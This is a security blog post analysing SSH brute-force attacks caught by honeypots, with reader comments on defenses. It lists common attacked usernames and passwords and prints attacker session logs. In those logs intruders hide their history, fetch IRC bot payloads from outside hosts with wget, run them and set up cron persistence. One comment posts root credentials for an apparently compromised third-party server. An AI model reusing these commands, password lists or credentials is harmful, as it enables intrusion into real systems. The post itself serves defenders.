SSH Brute Force – The 10 Year Old Attack That Still Persists

  • July 15, 2013

Three years later we are still seeing SSH brute force attacks compromising sites on a frequent basis.

One of the first server-level compromises I had to deal with in my life was around 12 ago, and it was caused by a SSH brute force attack. A co-worker set up a test server and chose a very weak root password for it. A few days later, the box was owned running IRC bots and trying to compromise the rest of the network.

That was just the first of many server-level compromises caused by SSH brute force attacks that I would end up responding to, and even after more than 10 years, quite a few of the server remediations that we do here at Sucuri are actually caused by the same thing.

Attackers just need 1 user with a weak password to get in. It doesn’t need to be root, since they can find many ways around that to increase their privileges. Even with the latest round of Apache module injections (Darkleech/CDORK) we suspect that one of the ways they get into the servers is by stolen passwords.

Because SSH brute force attaacks are so popular, we have been tracking them for a long time. And by a long time, we really mean it. Just in blog posts, We wrote a blog post in 2010 and even one in 2006 before Sucuri was even born. We have had honeypots running just as long watching and learning from these attacks.

Our Honeypots

We track these attacks via our high interaction honeypots. We get a clean server and install a modified SSHD version that logs all login attempts (including passwords) and stores all sessions. Once it gets hacked we can see all that was done along with the passwords attempted.

The attacks from 10 years ago are still very similar from the ones we see now, with one difference. 10 years ago it would take weeks after putting a server live for it to start being scanned. Right now and for the last couple of years, if we put a new server live, within hours, it starts to be scanned.

Last 7 days of scans – Analysis

By just going back 7 days and looking at our logs, we can see 15,000 attacks against it. The top username is still root (with more than 50% of the scans):

#attempts #username
   9012  root (58%)
    179  test (1%)
    116  oracle (< 1%)
     87  admin
     82  info
     70  user
     69  postgres
     68  mysql
     68  backup
     55  guest
     49  web
     49  tomcat
     46  michael
     45  r00t
     43  upload
     42  alex
     41  sales
     40  linux
     39  bin
     38  ftp
     35  support
     34  temp
     33  nagios
     31  user1
     30  www
     30  test1
     30  nobody

The top passwords are still very similar to what we reported a few years ago:

    365  123456 (2%)
    201  password (1%)
    114  12345 (<1%)
    105  1234
     92  root
     92  123
     84  qwerty
     76  test
     75  1q2w3e4r
     72  1qaz2wsx
     66  qazwsx
     65  123qwe
     58  12
     55  123qaz
     55  0000
     52  oracle
     50  1234567
     47  123456qwerty
     45  password123
     44  12345678
     41  1q2w3e
     40  abc123
     38  okmnji
     34  test123
     32  123456789
     31  postgres
     30  q1w2e3r4
     28  redhat
     27  user
     26  mysql
     24  apache

The full list is here if you are curious of the combinations they try. If you are using a password that is in there, please change it ASAP.

What they do after they get in

This is a very common question. What do the attackers do they after they find a password that works and get in?

    1. Nothing much! Well, at least not for a few days. They just get in and then get out.
    2. After a few days, they log in and change the password to a more secure one. So nobody else can “steal” what is theirs now. This is the session dump:
Last login: Wed Jul 10 23:05:35 2013 from otherserver.de
oracle@HONEYPOT:~]$
oracle@HONEYPOT ~]$ passwd
Changing password for user oracle.
Changing password for oracle.
(current) UNIX password: 
New password: 
Retype new password: 
passwd: all authentication tokens updated successfully.
oracle@HONEYPOT:~]$ logout

Note that HONEYPOT is not what the attackers really see. They see fake hostname with a fake site on the server. In this case, they guessed the “oracle” user password.

  1. Once they are in and the password is changed, they will try to increase their privileges to root. This is what they did when they got in as “oracle”:
    [oracle@HONEYPOT ~]$ w
 23:46:08 up 4 days,  4:58,  1 user,  load average: 0.00, 0.01, 0.05
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
oracle   pts/1    111.90.151.149   23:45    0.00s  0.02s  0.00s w

[oracle@HONEYPOT ~]$ ls -all
total 20
drwx------ 2 oracle oracle 4096 Jul  8 14:50 
-rw-r--r-- 1 oracle oracle   18 Dec  2  2011 .bash_logout
-rw-r--r-- 1 oracle oracle  176 Dec  2  2011 .bash_profile
-rw-r--r-- 1 oracle oracle  124 Dec  2  2011 .bashrc
[oracle@HONEYPOT ~]$ su 
sudo su
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.
[sudo] password for oracle: 
oracle is not in the sudoers file.  This incident will be reported.
oracle@HONEYPOT:~
[oracle@HONEYPOT ~]$ su
Password: 
su: incorrect password
[oracle@HONEYPOT ~]$ cd /tmp
[oracle@HONEYPOT tmp]$ mkdir ' '
[oracle@HONEYPOT:/tmp
[oracle@HONEYPOT tmp]$ cd ' '
[oracle@HONEYPOT:/tmp/ 
[oracle@HONEYPOT  ]$ wget ftp://dmitri:123123@200.63.46.99/mech.tgz
--2013-07-09 23:48:01--  ftp://dmitri:*password*@200.63.46.99/mech.tgz
..
Logging in as dmitri ... 
Connecting to 200.63.46.99:21... connected.
Logging in as dmitri ... Logged in!
==> SYST ... done.    ==> PWD ... done.
==> TYPE I ... done.  ==> CWD not needed.
==> SIZE mech.tgz ... 374664
==> PASV ... done.    ==> RETR mech.tgz ... done.
    [<=>                                    ] 0           --.-K/s              

[oracle@HONEYPOT  ]$ tar xzvf mech.tgz 
webmail/
..
webmail/run
[oracle@HONEYPOT  ]$ cd webmail/
[oracle@HONEYPOT webmail]$ ./start sunacai
######Multi Emech on Undernet######
#####      bil TheDemon       #####
%%%%%%%% 
 Undernet !!!    %%%%%%
Am gasit 1 ip-uri
SERVER Montreal.QC.CA.Undernet.org 7000

[oracle@HONEYPOT webmail]$ w
 23:49:27 up 4 days,  5:02,  1 user,  load average: 0.07, 0.03, 0.05
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
oracle   pts/1    111.90.151.149   23:45    7.00s  0.05s  0.00s w
[oracle@HONEYPOT webmail]$ logout

    You can see they tried to “su” (become root) and then launched an IRC bot, the same as 10 years ago. This is another example when they compromised the user “guest”:

    Last login: Fri Jul 12 20:21:45 2013 from 223.4.147.8
[?1034h[guest@HONEYPOT ~]$ unset HISTFILE
[guest@HONEYPOT ~]$ unset HISTSAVE
[guest@HONEYPOT ~]$ w
 15:45:40 up 7 days, 20:58,  1 user,  load average: 0.00, 0.01, 0.05
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
guest    pts/1    82.137.10.219    15:45    4.00s  0.02s  0.00s w
[guest@HONEYPOT ~]$ passwd
Changing password for user guest.
Changing password for guest.
(current) UNIX password: 
New password: 
Retype new password: 
passwd: all authentication tokens updated successfully.
[guest@HONEYPOT ~]$ uname -a
Linux HONEYPOT REMOVED..
[guest@HONEYPOT ~]$ sudo su
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.
[sudo] password for guest: 
guest is not in the sudoers file.  This incident will be reported.


[guest@HONEYPOT ~]$ mkdir " "
[guest@HONEYPOT ~]$ cd " "
[guest@HONEYPOT  ]$ wget eduteam.orgfree.com/mech.gz;tar zxvf mech.gz;rm -rf me
ch.gz;cd .bot

* * * * * /home/guest/ /.bot/update >/dev/null 2>&1
./run: ./crond: /lib/ld-linux.so.2: bad ELF interpreter: No such file or directory
[guest@HONEYPOT .bot]$ cd .
[guest@HONEYPOT .bot]$ cd ..
[guest@HONEYPOT  ]$ rm -rf bot
[guest@HONEYPOT  ]$ rm -rf .bot
[guest@HONEYPOT  ]$ wget eduteam.orgfree.com/64mcc.tgz;tar zxvf 64mcc.tgz;rm -r
f 64mcc.tgz;cd 64mcc
--2013-07-14 09:48:11--  http://eduteam.orgfree.com/64mcc.tgz
Resolving eduteam.orgfree.com... 78.47.28.69
Connecting to eduteam.orgfree.com|78.47.28.69|:80... connected.
HTTP request sent, awaiting response... 200 OK
..

[guest@HONEYPOT 64mcc]$ ./start horo
=====>Tase<===== ++++++ *Asta e o arhiva privata* ++++++++ Am gasit 1 ip-uri Gata * * * * * /home/guest/ /64mcc/update >/dev/null 2>&1
EnergyMech 2.8.5, December 30th, 2002
Compiled on Dec 30 2002 10:21:24
Features: LNK, TEL, PIP, DYN, NEW, ALS, WIN, SEF
init: Mech(s) added [ maurice ]
init: EnergyMech running...

    They unset their history file so bash_history doesn’t show anything, tried to get root by using sudo/su and when it failed, they downloaded an IRC bot and left. This is pretty much the first steps they take. They are often patient and will come back many times and try to use exploits to get root.

    Conclusion

    SSH Brute force attacks are here to stay. As long as people use weak passwords, the bad guys will be trying to brute force them. Not only for SSH, but we often see brute forces via FTP or to admin panels (Plesk, WordPress, Joomla, cPanel, etc).

    As for protecting your site against brute force attacks, the first option is to use SSH keys (and disable password authentication). If you can’t do that for whatever reason, make sure to use strong and good passwords. We also recommend whitelisting which IP addresses can login to the server and block everyone else out. For a reactive measure, we recommend using OSSEC (open source IDS) to block those attacks if you can’t use white listing.

Daniel B. Cid is Founder of Sucuri and the VP of Engineering for the GoDaddy Security Products group. He is also the founder of OSSEC and CleanBrowsing. You can find more about Daniel on his site dcid.me or on Twitter: @danielcid

Related Tags
38 comments

  1. Given that high percentage of attacks on root as the username, that’s exactly the reason I disable root SSH login from the get-go. I enable any user that I think needs root access, to su – into root and that alone helps defeat some of the brute force attacks.

    1. That’s a good idea as well. And the attackers need to guess the right user name in addition to the password.

    2. @dingman:disqus, I agree. And using a very hard username that makes no sense dictionary wise would also add time to the guessing.

      @df3ec5506ba59d2ed3b951b7057e97d0:disqus Great Article btw. It is good to know that somethings never change.

  2. I’d very much rather recommend installing an active-response system like OSSEC or Fail2ban than just blocking SSH access or block all other hosts. With a decent random password and a run-of-the-mill ban time it would take literally millions of years to brute-force your way in, so no concerns there…

  3. Another reactive measure is to use fail2ban. After a configurable amount of failed password attempts (or other dubious log entries) from an IP, that IP can be banned for a configurable amount of time. It works with almost any log and has a lot of preset rules for common programs (ssh, apache, postfix..) and you can setup your own custom rules as well.

    fail2ban:

    1. How do you use fail2ban? I installed it once and it locked me out. I had to physically go to the machine and remove it.

      1. I didn’t have that issue and I’m pretty much running defaults that came with the installation. You can whitelist your ip (range) in /etc/fail2ban/jail.conf. Perhaps review this file and set the bantime to something short and set it up to email you on activity.

        http://www.fail2ban.org/wiki/index.php/Whitelist

        Here is my “default” settings, which bans for 10 minutes after 3 failed attempts.

        # “ignoreip” can be an IP address, a CIDR mask or a DNS host
        ignoreip = 127.0.0.1/8 10.10.0.100
        bantime = 600
        maxretry = 3

        My ssh session overrides this by allowing 6 retries.

        [ssh]
        enabled = true
        port = ssh
        filter = sshd
        logpath = /var/log/auth.log
        maxretry = 6

      2. You probably forgot to whitelist your own IP. By default, it will monitor the SSH logs, and ban anyone who fails more than 6 times in a short period for ten minutes. I wrote a mini-post on Securing a Linux Server with Fail2ban and IPTables this weekend that may help you out.

      3. Add a “safe” IP to the ignoreip setting and you won’t be locked out.

  6. The most effective against these brute force attacks for me was to change the port SSH runs on, at first I was getting at least 20 attempts per hour on my vps (even with fail2ban). Now I get 0, haven’t had any in at least 6 months.
    I also get why they won’t be scanning other ports for possible ssh connections, because the system administrators that have enough knowledge to change the port have a much higher chance of also not having a password like 123456 for root.

    1. Definitely agree. If I run denyhosts on regular boxes running on port 22, I’ll get several messages a day from blocked IPs. After switching to some obscure port in the 50000 range, I have gotten none.

      Nevertheless I’ve still had client integration projects that required us to use port 22 (to integrate with legacy or automated systems) so in that case we try to force the use of keys.

  7. I had one of my Server 2003 boxes hacked via brute force recently – very weak password set on on of the terminal services users. Countered with changing the RDP port number and buying/installing Syspeace (which logs failed logons then bans IP addresses).

  8. That list of (presumably often-successful) passwords just makes me cry. We’ve been preaching password strength for 20 years or more–the entire professional lifetime of most of those user-administrators!

  9. Can’t see any good reason not to be forcing keys for any internet-facing machine. Any “reason” given is likely to last just up to the first time you’re hacked.

  10. Relying on passwords/passprahses is poor choice nowadays. Passwords only compliment 1 of the 3 factors for securely accessing a system: Something you know (passwords), something you have (RSA keyfob, cell phone, etc.), something you are (biometrics. Fingerprint scanner, retina scanner, etc.)

    SSH servers should be using two-factor authentication. Having a password to get through the first stage, then typing in a keycode generated by your RSA keyfob or cellphone. Two companies who implement two-factor auth are Duo Security and Google. Their APIs are easy to use and can be used for multiple services: RDP (remote desktop), Local access, FTP, VNC, etc.

    I don’t want to have to have to wait to have my post reviewed for posting links, so I’ll let you guys google it 🙂

    Note: You can use SSH Keys + two-factor auth.

  14. I have two SSH services on my network, running on different ports (22 and 2200). I’ve been watching the logs for a while and I can say that SSH/22 is the most attacked for being an easy target.

  15. Excuse me for such a noob question,
    but what about the users that were created automatically by the system ? For example `www-data’ or `nobody’ ? I don’t know their passwords myself. Are they strong ?
    Thanks for your nice article

    1. On my system, accounts such as ‘nobody’ have the password hash set to ‘*’, which will never match ANY password, since ‘*’ is not a valid hash.

  17. Whitelist usernames.
    Install fail2ban.
    As the article says, authentication keys are great when you can use them. I knew a security admin who issued password-protected keys coded to smart cards to the department for any SSH server they needed access to.

  18. Amazing how without these attacks, security would have never evolved to meet the challenges, and yet, things still look pretty even, most overskilled hackers are white hats so…how lucky are we really?!!

  19. I’m surprised there is not the user “pi” in list as there should have many raspberry pi connected now.

    Another point, there is not the command date/time, It should be good to see the attack window.

    1. In my time as a big boy. Alot of people do not update their passlists they use the regular “rock me” or other ancient ones. Not even creating personalized ones for the specif target.

  20. Found a rooted server if anyone wants to mess with it.

    IP: 68.189.166.13
    User: root
    Pass: mT8f63tFA-rA<'$g
    Port: 22

  21. fail2ban isn’t necessary if you use a tool like a “web knocker firewall” system service. You get email notifications when someone gains access to the most critical ports (e.g. SSH). Otherwise, iptables rules drop packets for those ports and the system remains secure. SSH should only be open to select IP addresses instead of the entire world. When SSH was open to any IP, I saw login attempts from Russia, North Korea, China, and other countries of ill-repute – none of which had any business connecting into SSH on my servers. None of my systems running web knockers have ever been compromised nor opened ports for anyone but me on my own network. There’s apparently plenty of low-hanging fruit out there. I’ve had problems with fail2ban, including being banned myself by it on my own systems. With a web knocker, the client runs in the background on my personal network. I have never had any connectivity issues either because whenever my public IP address changes, access for the old IP closes and the new IP is unblocked within minutes in a nearly seamless transition, all of which happens over an encrypted, two-way protocol.

Comments are closed.

Related Categories
You May Also Like